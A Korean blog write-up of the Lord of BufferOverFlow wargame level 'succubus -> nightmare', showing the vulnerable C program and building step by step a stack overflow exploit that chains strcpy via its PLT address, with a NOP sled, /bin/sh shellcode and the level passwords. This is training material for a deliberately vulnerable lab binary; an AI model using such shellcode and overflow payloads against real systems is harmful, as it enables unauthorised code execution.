[Lord Of BufferOverFlow] 18번 succubus -> Nightmare

2021. 3. 7. 17:19·Write-Up/LOB(lord of bufferoverflow)
반응형

login : succubus

password : here to stay

 

[succubus@localhost succubus]$ ls
nightmare  nightmare.c
[succubus@localhost succubus]$ cat nightmare.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // check address
        addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // dangerous waterfall
        memset(buffer+40+8, 'A', 4);
}

 

dangerous waterfall -> buffer+48부터 A로 4개채운다

이말은 즉슨 buffer+48은 strcpy의  return address인데 이걸 AAAA로 초기화 시켜버린다는 것이다.

 

 

payload 구성

 

Dummy(44) + strcpy 주소(4) + strcpy ret(4) (AAAA) + strcpy 첫번째인자 (쓸곳의 주소) + strcpy 두번째인자 (읽을 곳 주소) + shellcode주소 + shellcode

 

strcpy 첫번째 인자는 쓸곳의 주소니 strcpy ret에 덮어쓸거니 strcpy 주소를 넣어주면 되고 strcpy 두번째 인자는 읽을곳의 주소니 shellcode의 주소를 넣어주면 된다.

 

gdb로 하나씩 찾아보자

 

1. strcpy주소

gdb로 뜯어보면 대충 쉽게 찾을수 있다.

 

임시로 페이로드를 짜보겠다

임시  payload

 

 ./test `python -c 'print "A"*44 + "\x10\x84\x04\x08" + "AAAA" + "BBBB" + "CCCC" + "DDDD" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

2. shellcode 주소 (DDDD)

0xbffffbf8 사용 하겠다.

 

 ./test `python -c 'print "A"*44 + "\x10\x84\x04\x08" + "AAAA" + "BBBB" + "CCCC" + "\xf8\xfb\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

3. strcpy 두번째 인자 -> 읽을 곳 주소 (CCCC)

 

 ./test `python -c 'print "A"*44 + "\x10\x84\x04\x08" + "AAAA" + "BBBB" + "CCCC" + "\xf8\xfb\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 를 실행시키고 나서 

 

0xbffffbf8 가 들어간곳 주소를 보면 될 것이다.

 

0xbffffa7c이다

 

 ./test `python -c 'print "A"*44 + "\x10\x84\x04\x08" + "AAAA" + "BBBB" + "\x4c\xfa\xff\xbf" + "\xf8\xfb\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 

로 수정후 다시 실행시켜보겠다

 

4. strcpy 첫번째 인자 (쓸곳의 주소) -> strcpy ret주소

 

BBBB바로앞이 strcpy  ret의 주소이다. 

0xbffffa70이다.

 

다구한것 같다 이제 완성시키자

 

 ./nightmare `python -c 'print "A"*44 + "\x10\x84\x04\x08" + "AAAA" + "\x70\xfa\xff\xbf" + "\x4c\xfa\xff\xbf" + "\xf8\xfb\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 

 

 

beg for me

 

반응형

'Write-Up > LOB(lord of bufferoverflow)' 카테고리의 다른 글

[Lord Of BufferOverFlow] 19번 Nightmare -> xavius  (0) 2021.03.09
[Lord Of BufferOverFlow] 17번 zombie_assassin -> succubus  (0) 2021.03.06
[Lord Of BufferOverFlow] 16번 assassin -> zombie_assassin  (0) 2021.03.06
[Lord Of BufferOverFlow] 15번 giant -> assassin  (0) 2021.03.04
[Lord Of BufferOverFlow] 14번 bugbear -> giant  (0) 2021.03.04
'Write-Up/LOB(lord of bufferoverflow)' 카테고리의 다른 글
  • [Lord Of BufferOverFlow] 19번 Nightmare -> xavius
  • [Lord Of BufferOverFlow] 17번 zombie_assassin -> succubus
  • [Lord Of BufferOverFlow] 16번 assassin -> zombie_assassin
  • [Lord Of BufferOverFlow] 15번 giant -> assassin
Penguin Dev
Penguin Dev
What does the Penguin say?
    글쓰기 관리
  • Penguin Dev
    Pengha!
    Penguin Dev
  • 전체
    오늘
    어제
    • 분류 전체보기 (152)
      • Java & Spring (5)
      • System Hacking (4)
      • Algorithm (8)
        • Sorting algorithm (3)
      • Python (6)
      • Web (2)
        • Web Hacking & Security (2)
      • Write-Up (108)
        • pwnable.kr (17)
        • HackCTF (16)
        • 해커스쿨 FTZ (21)
        • LOB(lord of bufferoverflow) (19)
        • LOS (lord of sql injection) (28)
        • XSS-game (6)
        • Webhacking.kr (1)
      • SUA (19)
        • 오픈소스 보안 (19)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    computeifpresent()
    ReentrantLock
    코드트리
    Lock
    tabat
    reentrantlock실습
    쿠폰발급
    spring boot
    nop sled
    SpringBoot
    thread-safe
    sqlinjection
    CountDownLatch
    AQS
    LOB
    동시성처리
    spring
    computeifabsent
    computeifabsent()
    putval()
    hashmap vs concurrenthashmap
    동시성
    computeifpresent
    ConcurrentHashMap
    DB정리
    Java
    concurrenthashmap vs hashmap
    코드트리조별과제
    lord of bufferoverflow
    enumerate #list comprehension
  • 최근 댓글

  • 반응형
  • hELLO· Designed By정상우.v4.10.3
Penguin Dev
[Lord Of BufferOverFlow] 18번 succubus -> Nightmare
상단으로

티스토리툴바